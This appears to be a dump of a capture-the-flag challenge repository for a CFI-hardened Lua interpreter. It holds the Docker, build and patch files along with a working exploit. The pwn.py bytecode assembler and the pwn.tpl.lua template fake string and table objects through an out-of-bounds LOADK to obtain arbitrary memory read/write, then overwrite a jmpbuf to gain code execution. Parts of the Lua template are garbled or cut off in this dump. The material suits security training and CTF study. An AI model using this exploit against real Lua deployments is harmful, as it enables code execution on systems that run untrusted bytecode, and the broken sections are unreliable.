├── Dockerfile ├── README.md ├── docker_build.sh ├── docker_run.sh ├── exploit ├── parse.py ├── pwn.py └── pwn.tpl.lua ├── files ├── blacklist.txt ├── build.sh ├── flag ├── lua.patch ├── musl.patch └── xinetd.conf └── package.sh /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.10 2 | 3 | RUN apt-get -y update && \ 4 | apt-get -y install wget build-essential xinetd 5 | 6 | RUN echo "deb http://apt.llvm.org/xenial/ llvm-toolchain-xenial main" >> /etc/apt/sources.list && \ 7 | echo "deb-src http://apt.llvm.org/xenial/ llvm-toolchain-xenial main" >> /etc/apt/sources.list && \ 8 | echo "deb http://apt.llvm.org/xenial/ llvm-toolchain-xenial-3.9 main" >> /etc/apt/sources.list && \ 9 | echo "deb-src http://apt.llvm.org/xenial/ llvm-toolchain-xenial-3.9 main" >> /etc/apt/sources.list && \ 10 | wget -O - http://apt.llvm.org/llvm-snapshot.gpg.key|apt-key add - && \ 11 | apt-get -y update && \ 12 | apt-get -y install clang-3.9 13 | 14 | RUN groupadd -g 1000 lua && useradd -g lua -m -u 1000 lua -s /bin/bash 15 | 16 | ADD files/ /tmp/files 17 | 18 | RUN mv /tmp/files/flag /flag && mv /tmp/files/xinetd.conf /etc/xinetd.d/repl 19 | RUN cd /tmp/files && ./build.sh && mv lua /home/lua/lua && rm -rf /tmp/files 20 | 21 | USER lua 22 | 23 | CMD xinetd -d -dontfork 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # read-eval-pwn loop 2 | 3 | The goal of this challenge was to exploit the [load](https://www.lua.org/manual/5.3/manual.html#pdf-load) function in a mostly unmodified Lua interpreter. To make it more interesting, the interpreter and libc were compiled with clangs's [control flow integrity](http://clang.llvm.org/docs/ControlFlowIntegrity.html) protection, as well as numerous other hardening mechanisms. The exploit achieves an arbitrary read/write primitive by faking a string and a table object (through the LOADK opcode with an out-of-bounds index), then gains code execution by overwriting a jmpbuf structure used by the interpreter for exception handling and coroutine yielding. 4 | 5 | A working exploit can be found in exploit/. Usage: 6 | 7 | ``` 8 | ./pwn.py 9 | cat pwn.lua | nc ... 10 | ``` 11 | -------------------------------------------------------------------------------- /docker_build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t saelo/repl . 3 | -------------------------------------------------------------------------------- /docker_run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker run -it --rm -p 127.0.0.1:1337:1337 --name repl saelo/repl 4 | -------------------------------------------------------------------------------- /exploit/parse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from collections import namedtuple 4 | from struct import unpack, Struct 5 | import sys 6 | 7 | indent = 0 8 | 9 | def dump(*args): 10 | if len(args) > 0: 11 | print(indent * ' ', *args) 12 | else: 13 | print('') 14 | 15 | Header = Struct('=4s B B 6s B B B B B q d') 16 | FunctionMetadata = Struct('=i i b b b') 17 | 18 | def parse_string(data): 19 | if data[0] == 0: 20 | return b'', data[1:] 21 | elif data[0] < 0xff: 22 | length = data[0] - 1 23 | data = data[1:] 24 | else: 25 | length = unpack('=Q', data[1:9])[0] - 1 26 | data = data[9:] 27 | string = data[:length] 28 | return string, data[length:] 29 | 30 | def disassemble(code): 31 | def Op(instr): 32 | return instr & 0x3f 33 | def A(instr): 34 | return (instr >> 6) & 0xff 35 | def B(instr): 36 | return (instr >> 14) & 0x1ff 37 | def C(instr): 38 | return (instr >> 23) & 0x1ff 39 | def Ax(instr): 40 | return (instr >> 6) & 0x3ffffff 41 | def Bx(instr): 42 | return (instr >> 14) & 0x3ffff 43 | def sBx(instr): 44 | return Bx(instr) - 2**17 45 | 46 | handlers = [ 47 | ('MOVE ', A, B), 48 | ('LOADK ', A, Bx), 49 | ('LOADKX ', A), 50 | ('LOADBOOL', A, B, C), 51 | ('LOADNIL ', A, B), 52 | ('GETUPVAL', A, B), 53 | 54 | ('GETTABUP', A, B, C), 55 | ('GETTABLE', A, B, C), 56 | 57 | ('SETTABUP', A, B, C), 58 | ('SETUPVAL', A, B), 59 | ('SETTABLE', A, B, C), 60 | 61 | ('NEWTABLE', A, B, C), 62 | 63 | ('SELF ', A, B, C), 64 | 65 | ('ADD ', A, B, C), 66 | ('SUB ', A, B, C), 67 | ('MUL ', A, B, C), 68 | ('MOD ', A, B, C), 69 | ('POW ', A, B, C), 70 | ('DIV ', A, B, C), 71 | ('IDIV ', A, B, C), 72 | ('BAND ', A, B, C), 73 | ('BOR ', A, B, C), 74 | ('BXOR ', A, B, C), 75 | ('SHL ', A, B, C), 76 | ('SHR ', A, B, C), 77 | ('UNM ', A, B), 78 | ('BNOT ', A, B), 79 | ('NOT ', A, B), 80 | ('LEN ', A, B), 81 | 82 | ('CONCAT ', A, B, C), 83 | 84 | ('JMP ', A, sBx), 85 | ('EQ ', A, B, C), 86 | ('LT ', A, B, C), 87 | ('LE ', A, B, C), 88 | 89 | ('TEST ', A, C), 90 | ('TESTSET ', A, B, C), 91 | 92 | ('CALL ', A, B, C), 93 | ('TAILCALL', A, B, C), 94 | ('RETURN ', A, B), 95 | 96 | ('FORLOOP ', A, sBx), 97 | ('FORPREP ', A, sBx), 98 | 99 | ('TFORCALL', A, C), 100 | ('TFORLOOP', A, sBx), 101 | 102 | ('SETLIST ', A, B, C), 103 | 104 | ('CLOSURE ', A, Bx), 105 | 106 | ('VARARG ', A, B), 107 | 108 | ('EXTRAARG', Ax), 109 | ] 110 | 111 | for instr in code: 112 | op = Op(instr) 113 | if op < len(handlers): 114 | name, *args = handlers[op] 115 | args = [str(arg(instr)).ljust(9) for arg in args] 116 | dump("{} {}".format(name, ' '.join(args))) 117 | else: 118 | dump("Unknown opcode {}".format(op)) 119 | 120 | 121 | def parse_code(data): 122 | codesize = unpack('=I', data[:4])[0] 123 | data = data[4:] 124 | 125 | dump("Codesize : ", codesize) 126 | dump() 127 | 128 | code = [] 129 | for _ in range(codesize): 130 | if len(data) < 4: 131 | dump("Error: codesize too large") 132 | break 133 | instr = unpack('=I', data[:4])[0] 134 | data = data[4:] 135 | code.append(instr) 136 | 137 | dump("--- Code ---") 138 | disassemble(code) 139 | 140 | return data 141 | 142 | def parse_constants(data): 143 | dump() 144 | dump("--- Contants ---") 145 | 146 | num_constants = unpack('=i', data[:4])[0] 147 | data = data[4:] 148 | 149 | dump("Num constants : ", num_constants) 150 | dump() 151 | 152 | 153 | LUA_TNIL = 0 154 | LUA_TBOOLEAN = 1 155 | LUA_TLIGHTUSERDATA = 2 156 | LUA_TNUMBER = 3 157 | LUA_TSTRING = 4 158 | LUA_TTABLE = 5 159 | LUA_TFUNCTION = 6 160 | LUA_TUSERDATA = 7 161 | LUA_TTHREAD = 8 162 | 163 | LUA_TSHRSTR = LUA_TSTRING | (0 << 4) 164 | LUA_TLNGSTR = LUA_TSTRING | (1 << 4) 165 | 166 | LUA_TNUMFLT = LUA_TNUMBER | (0 << 4) 167 | LUA_TNUMINT = LUA_TNUMBER | (1 << 4) 168 | 169 | for _ in range(num_constants): 170 | ttype = data[0] 171 | data = data[1:] 172 | if ttype == LUA_TNIL: 173 | dump("Nil") 174 | elif ttype == LUA_TBOOLEAN: 175 | dump("Boolean {}".format(data[0])) 176 | data = data[1:] 177 | elif ttype == LUA_TNUMFLT: 178 | val = unpack('=d', data[:8])[0] 179 | data = data[8:] 180 | dump("Number {}".format(val)) 181 | elif ttype == LUA_TNUMINT: 182 | val = unpack('=q', data[:8])[0] 183 | data = data[8:] 184 | dump("Number {}".format(val)) 185 | elif ttype == LUA_TSHRSTR or ttype == LUA_TLNGSTR: 186 | val, data = parse_string(data) 187 | dump("String {}".format(val)) 188 | else: 189 | dump("Unknown Value: {}".format(hex(ttype))) 190 | 191 | return data 192 | 193 | def parse_upvalues(data): 194 | dump() 195 | dump("--- Upvalues ---") 196 | 197 | num_upvals = unpack('=i', data[:4])[0] 198 | data = data[4:] 199 | 200 | dump("Num Upvalues : ", num_upvals) 201 | 202 | for _ in range(num_upvals): 203 | instack, idx = data[0], data[1] 204 | data = data[2:] 205 | dump("{} {}".format(instack, idx)) 206 | 207 | return data 208 | 209 | def parse_protos(data): 210 | global indent 211 | dump() 212 | dump("--- Functions ---") 213 | 214 | num_functions = unpack('=i', data[:4])[0] 215 | data = data[4:] 216 | 217 | dump("Num Functions : ", num_functions) 218 | 219 | indent += 4 220 | for _ in range(num_functions): 221 | data = parse_function(data) 222 | indent -= 4 223 | 224 | return data 225 | 226 | def parse_debug(data): 227 | dump() 228 | dump("--- Debug ---") 229 | 230 | dump(" -- Lineinfo -- ") 231 | num_lineinfo = unpack('=i', data[:4])[0] 232 | data = data[4:] 233 | dump("Num lineinfos : ", num_lineinfo) 234 | for _ in range(num_lineinfo): 235 | line = unpack('=I', data[:4])[0] 236 | data = data[4:] 237 | dump(line) 238 | 239 | dump(" -- Localvars -- ") 240 | num_localvars = unpack('=i', data[:4])[0] 241 | data = data[4:] 242 | dump("Num localvars : ", num_localvars) 243 | for _ in range(num_localvars): 244 | string, data = parse_string(data) 245 | startpc, endpc = unpack('=I I', data[:8]) 246 | data = data[8:] 247 | dump(string, startpc, endpc) 248 | 249 | dump(" -- Upvals -- ") 250 | num_upvals = unpack('=i', data[:4])[0] 251 | data = data[4:] 252 | dump("Num upvals : ", num_upvals) 253 | for _ in range(num_upvals): 254 | string, data = parse_string(data) 255 | dump(string) 256 | 257 | return data 258 | 259 | def parse_function(data): 260 | dump("--- Function ---") 261 | 262 | source, data = parse_string(data) 263 | 264 | metadata = FunctionMetadata.unpack(data[:FunctionMetadata.size]) 265 | data = data[FunctionMetadata.size:] 266 | 267 | dump("Source : ", source) 268 | dump("Line : ", metadata[0]) 269 | dump("Last Line : ", metadata[1]) 270 | dump("Number of params : ", metadata[2]) 271 | dump("Is Vararg : ", metadata[3]) 272 | dump("Max. Stacksize : ", metadata[4]) 273 | dump() 274 | 275 | data = parse_code(data) 276 | data = parse_constants(data) 277 | data = parse_upvalues(data) 278 | data = parse_protos(data) 279 | data = parse_debug(data) 280 | 281 | return data 282 | 283 | def parse_header(data): 284 | header = Header.unpack(data[:Header.size]) 285 | 286 | dump("--- Header ---") 287 | dump("Signature : ", header[0]) 288 | dump("Version : ", header[1]) 289 | dump("Format : ", header[2]) 290 | dump("Data : ", header[3]) 291 | dump("int size : ", header[4]) 292 | dump("size_t size : ", header[5]) 293 | dump("Instruction size : ", header[6]) 294 | dump("Lua Integer size : ", header[7]) 295 | dump("Lua Number size : ", header[8]) 296 | dump("LUAC_INT : ", hex(header[9])) 297 | dump("LUAC_NUM : ", header[10]) 298 | dump() 299 | 300 | return data[Header.size:] 301 | 302 | def parse_chunk(data): 303 | data = parse_header(data) 304 | 305 | num_upvals = data[0] 306 | data = data[1:] 307 | dump("Number of Upvalues : ", num_upvals) 308 | dump() 309 | 310 | data = parse_function(data) 311 | assert(len(data) == 0) 312 | 313 | if __name__ == '__main__': 314 | if len(sys.argv) < 2: 315 | print("Usage: {} code.luac".format(sys.argv[0])) 316 | sys.exit(1) 317 | 318 | data = open(sys.argv[1], 'rb').read() 319 | 320 | parse_chunk(data) 321 | -------------------------------------------------------------------------------- /exploit/pwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from struct import pack, Struct 4 | from binascii import hexlify 5 | import sys 6 | 7 | LUA_TNIL = 0 8 | LUA_TBOOLEAN = 1 9 | LUA_TLIGHTUSERDATA = 2 10 | LUA_TNUMBER = 3 11 | LUA_TSTRING = 4 12 | LUA_TTABLE = 5 13 | LUA_TFUNCTION = 6 14 | LUA_TUSERDATA = 7 15 | LUA_TTHREAD = 8 16 | 17 | LUA_TSHRSTR = LUA_TSTRING | (0 << 4) 18 | LUA_TLNGSTR = LUA_TSTRING | (1 << 4) 19 | 20 | LUA_TNUMFLT = LUA_TNUMBER | (0 << 4) 21 | LUA_TNUMINT = LUA_TNUMBER | (1 << 4) 22 | 23 | 24 | def assemble(asm): 25 | def Op(val): 26 | return val & 0x3f 27 | def A(val): 28 | assert(val < 0x100) 29 | return val << 6 30 | def B(val): 31 | assert(val < 0x200) 32 | return val << 14 33 | def C(val): 34 | assert(val < 0x200) 35 | return val << 23 36 | def Ax(val): 37 | assert(val < 0x4000000) 38 | return val << 6 39 | def Bx(val): 40 | assert(val < 0x40000) 41 | return val << 14 42 | def sBx(val): 43 | return Bx(val + 2**17) 44 | 45 | handlers = { 46 | 'MOVE' : (0, A, B), 47 | 'LOADK' : (1, A, Bx), 48 | 'LOADKX' : (2, A,), 49 | 'LOADBOOL': (3, A, B, C), 50 | 'LOADNIL' : (4, A, B), 51 | 'GETUPVAL': (5, A, B), 52 | 53 | 'GETTABUP': (6, A, B, C), 54 | 'GETTABLE': (7, A, B, C), 55 | 56 | 'SETTABUP': (8, A, B, C), 57 | 'SETUPVAL': (9, A, B), 58 | 'SETTABLE': (10, A, B, C), 59 | 60 | 'NEWTABLE': (11, A, B, C), 61 | 62 | 'SELF' : (12, A, B, C), 63 | 64 | 'ADD' : (13, A, B, C), 65 | 'SUB' : (14, A, B, C), 66 | 'MUL' : (15, A, B, C), 67 | 'MOD' : (16, A, B, C), 68 | 'POW' : (17, A, B, C), 69 | 'DIV' : (18, A, B, C), 70 | 'IDIV' : (19, A, B, C), 71 | 'BAND' : (20, A, B, C), 72 | 'BOR' : (21, A, B, C), 73 | 'BXOR' : (22, A, B, C), 74 | 'SHL' : (23, A, B, C), 75 | 'SHR' : (24, A, B, C), 76 | 'UNM' : (25, A, B), 77 | 'BNOT' : (26, A, B), 78 | 'NOT' : (27, A, B), 79 | 'LEN' : (28, A, B), 80 | 81 | 'CONCAT' : (29, A, B, C), 82 | 83 | 'JMP' : (30, A, sBx), 84 | 'EQ' : (31, A, B, C), 85 | 'LT' : (32, A, B, C), 86 | 'LE' : (33, A, B, C), 87 | 88 | 'TEST' : (34, A, C), 89 | 'TESTSET' : (35, A, B, C), 90 | 91 | 'CALL' : (36, A, B, C), 92 | 'TAILCALL': (37, A, B, C), 93 | 'RETURN' : (38, A, B), 94 | 95 | 'FORLOOP' : (39, A, sBx), 96 | 'FORPREP' : (40, A, sBx), 97 | 98 | 'TFORCALL': (41, A, C), 99 | 'TFORLOOP': (42, A, sBx), 100 | 101 | 'SETLIST' : (43, A, B, C), 102 | 103 | 'CLOSURE' : (44, A, Bx), 104 | 105 | 'VARARG' : (45, A, B), 106 | 107 | 'EXTRAARG': (46, Ax), 108 | } 109 | 110 | code = [] 111 | 112 | for op, *args in asm: 113 | assert(op in handlers) 114 | opcode, *packers = handlers[op] 115 | 116 | assert(len(packers) == len(args)) 117 | 118 | instr = Op(opcode) 119 | for i in range(len(packers)): 120 | instr |= packers[i](args[i]) 121 | 122 | code.append(instr) 123 | 124 | return code 125 | 126 | def dump_string(s): 127 | if len(s) == 0: 128 | return b'\x00' 129 | else: 130 | size = len(s) + 1 131 | if size < 0xff: 132 | return pack('=B', size) + s 133 | else: 134 | return pack('=BQ', 0xff, size) + s 135 | 136 | def dump_code(asm): 137 | instrs = assemble(asm) 138 | codesize = pack('=I', len(instrs)) 139 | code = b''.join(pack('=I', instr) for instr in instrs) 140 | 141 | return codesize + code 142 | 143 | def dump_constants(constants): 144 | return pack('=I', len(constants)) + b''.join(constants) 145 | 146 | def dump_upvalues(): 147 | return pack('=I', 0) 148 | 149 | def dump_protos(): 150 | return pack('=I', 0) 151 | 152 | def dump_debug(): 153 | return pack('=III', 0, 0, 0) 154 | 155 | def build_function(code, max_stacksize, constants): 156 | FunctionMetadata = Struct('=i i b b b') 157 | 158 | header = dump_string(b'@hax.lua') + FunctionMetadata.pack(0, 0, 0, 2, max_stacksize) 159 | 160 | code = dump_code(code) 161 | constants = dump_constants(constants) 162 | upvals = dump_upvalues() 163 | protos = dump_protos() 164 | debug = dump_debug() 165 | 166 | return header + code + constants + upvals + protos + debug 167 | 168 | def build_chunk(asm, max_stacksize, constants): 169 | Header = Struct('=4s B B 6s B B B B B q d') 170 | 171 | header = Header.pack(b'\x1bLua', 83, 0, b'\x19\x93\r\n\x1a\n', 4, 8, 4, 8, 8, 0x5678, 370.5) 172 | upvals = pack('=B', 1) 173 | func = build_function(asm, max_stacksize, constants) 174 | 175 | return header + upvals + func 176 | 177 | 178 | def pwn(): 179 | MAX_STACKSIZE = 10 180 | ASM = [ 181 | ('LOADK', 0, 104), 182 | ('LOADK', 1, 105), 183 | ('LOADK', 2, 106), 184 | ('RETURN', 0, 0) 185 | ] 186 | CONSTANTS = [] 187 | 188 | content = pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQQQQQQ', 0x4141414141414141, 0x31337, 0x13, 0x4141414141414141, 0x14, 0x4242424242424242, 0x45) * 5) 189 | 190 | for i in range(100): 191 | CONSTANTS.append(content) 192 | #CONSTANTS.append(pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQ', 0x16, 0x42ceb1) * 25)) # CFI catches this 193 | 194 | chunk = build_chunk(ASM, MAX_STACKSIZE, CONSTANTS) 195 | 196 | code = open('pwn.tpl.lua', 'r').read() 197 | code = code.replace('CHUNK', hexlify(chunk).decode('ASCII')) 198 | 199 | with open('pwn.lua', 'w') as f: 200 | f.write(code) 201 | 202 | if __name__ == '__main__': 203 | pwn() 204 | -------------------------------------------------------------------------------- /exploit/pwn.tpl.lua: -------------------------------------------------------------------------------- 1 | function unhexlify(str) 2 | return str:gsub('..', function(b) 3 | return string.char(tonumber(b, 16)) 4 | end) 5 | end 6 | 7 | function hex(v) 8 | return string.format("0x%x", v) 9 | end 10 | 11 | function addrof(v) 12 | local strrep = tostring(v) 13 | local i = string.find(strrep, '0x') 14 | if i == nil then 15 | error("Cannot obtain address of given value") 16 | end 17 | return tonumber(string.sub(strrep, i+2), 16) 18 | end 19 | 20 | function hexdump(buf) 21 | local str = '' 22 | for i=1,math.ceil(#buf/16) * 16 do 23 | if (i-1) % 16 == 0 then 24 | str = str .. string.format('%08X ', i-1) 25 | end 26 | str = str .. (i > #buf and ' ' or string.format('%02X ', buf:byte(i))) 27 | if i % 8 == 0 then 28 | str = str .. ' ' 29 | end 30 | if i % 16 == 0 then 31 | str = str .. '\n' 32 | end 33 | end 34 | return str 35 | end 36 | 37 | chunkbytes = unhexlify("CHUNK") 38 | 39 | function hax() 40 | local binary_addr = addrof(math.abs) - 0x35088 41 | print("[*] Binary @ " .. hex(binary_addr)) 42 | 43 | -- This table's 'array' member will be corrupted later on 44 | local memview = {1,2,3,4,5} 45 | 46 | local fake_string_data = string.pack('= 0 86 | end 87 | 88 | function memory.read(addr, size) 89 | local relative_addr = addr - (fake_string_addr + 22 + 1) 90 | if relative_addr < 0 then 91 | print("[-] Cannot read from " .. hex(addr)) 92 | error() 93 | end 94 | return fake_string:sub(relative_addr, relative_addr + size - 1) 95 | end 96 | 97 | function memory.write(addr, val) 98 | fake_table[1] = addr 99 | memview[1] = val 100 | end 101 | 102 | return memory 103 | end 104 | 105 | function find_libc_base(some_libc_address) 106 | local candidate = some_libc_address & 0xfffffffffffff000 107 | while memory.read(candidate, 4) ~= '\x7fELF' do 108 | candidate = candidate - 0x1000 109 | end 110 | return candidate 111 | end 112 | 113 | function pwn() 114 | memory = hax() 115 | 116 | coro_fn = function() 117 | local coro_addr = addrof(coro) 118 | print("[*] Now executing coroutine. Associated state structure @ " .. hex(coro_addr)) 119 | 120 | local state_struct = memory.read(coro_addr, 208) 121 | print(hexdump(state_struct)) 122 | local longjmp_buffer_addr = string.unpack(' 126 | #include 127 | #include 128 | +#include 129 | 130 | #include "lua.h" 131 | 132 | @@ -591,6 +592,7 @@ static int pmain (lua_State *L) { 133 | 134 | 135 | int main (int argc, char **argv) { 136 | + alarm(60); 137 | int status, result; 138 | lua_State *L = luaL_newstate(); /* create state */ 139 | if (L == NULL) { 140 | -------------------------------------------------------------------------------- /files/musl.patch: -------------------------------------------------------------------------------- 1 | diff --git a/Makefile b/Makefile 2 | index 8246b78..c50be00 100644 3 | --- a/Makefile 4 | +++ b/Makefile 5 | @@ -60,6 +60,9 @@ GENERIC_INCLUDES = $(wildcard $(srcdir)/arch/generic/bits/*.h) 6 | INCLUDES = $(wildcard $(srcdir)/include/*.h $(srcdir)/include/*/*.h) 7 | ALL_INCLUDES = $(sort $(INCLUDES:$(srcdir)/%=%) $(GENH:obj/%=%) $(ARCH_INCLUDES:$(srcdir)/arch/$(ARCH)/%=include/%) $(GENERIC_INCLUDES:$(srcdir)/arch/generic/%=include/%)) 8 | 9 | +# These contain inline assembly which currently breaks with LTO... 10 | +obj/ldso/dlstart.lo obj/ldso/dynlink.lo: CFLAGS += -fno-lto -fno-sanitize=cfi -fvisibility=default 11 | + 12 | EMPTY_LIB_NAMES = m rt pthread crypt util xnet resolv dl 13 | EMPTY_LIBS = $(EMPTY_LIB_NAMES:%=lib/lib%.a) 14 | CRT_LIBS = $(addprefix lib/,$(notdir $(CRT_OBJS))) 15 | @@ -111,7 +114,9 @@ obj/crt/crt1.o obj/crt/scrt1.o obj/crt/rcrt1.o obj/ldso/dlstart.lo: $(srcdir)/ar 16 | 17 | obj/crt/rcrt1.o: $(srcdir)/ldso/dlstart.c 18 | 19 | -obj/crt/Scrt1.o obj/crt/rcrt1.o: CFLAGS_ALL += -fPIC 20 | +# No LTO for these as well 21 | +obj/crt/Scrt1.o obj/crt/rcrt1.o: CFLAGS_ALL += -fPIC -fno-lto -fno-sanitize=cfi -fvisibility=default 22 | +obj/crt/crt1.o: CFLAGS_ALL += -fno-lto -fno-sanitize=cfi -fvisibility=default 23 | 24 | obj/crt/$(ARCH)/crti.o: $(srcdir)/crt/$(ARCH)/crti.s 25 | 26 | diff --git a/configure b/configure 27 | index 81e90f7..957868c 100755 28 | --- a/configure 29 | +++ b/configure 30 | @@ -560,7 +560,7 @@ fi 31 | # Reduce space lost to padding for alignment purposes by sorting data 32 | # objects according to their alignment reqirements. This approximates 33 | # optimal packing. 34 | -tryldflag LDFLAGS_AUTO -Wl,--sort-section,alignment 35 | +#tryldflag LDFLAGS_AUTO -Wl,--sort-section,alignment 36 | tryldflag LDFLAGS_AUTO -Wl,--sort-common 37 | 38 | # When linking shared library, drop dummy weak definitions that were 39 | -------------------------------------------------------------------------------- /files/xinetd.conf: -------------------------------------------------------------------------------- 1 | service repl 2 | { 3 | socket_type = stream 4 | protocol = tcp 5 | port = 4444 6 | type = UNLISTED 7 | wait = no 8 | user = lua 9 | server = /chall/run.sh 10 | } 11 | -------------------------------------------------------------------------------- /package.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker exec repl tar czf /tmp/package.tar.gz /lib/ld-musl-x86_64.so.1 /usr/local/musl /home/lua/lua 4 | docker cp repl:/tmp/package.tar.gz . 5 | --------------------------------------------------------------------------------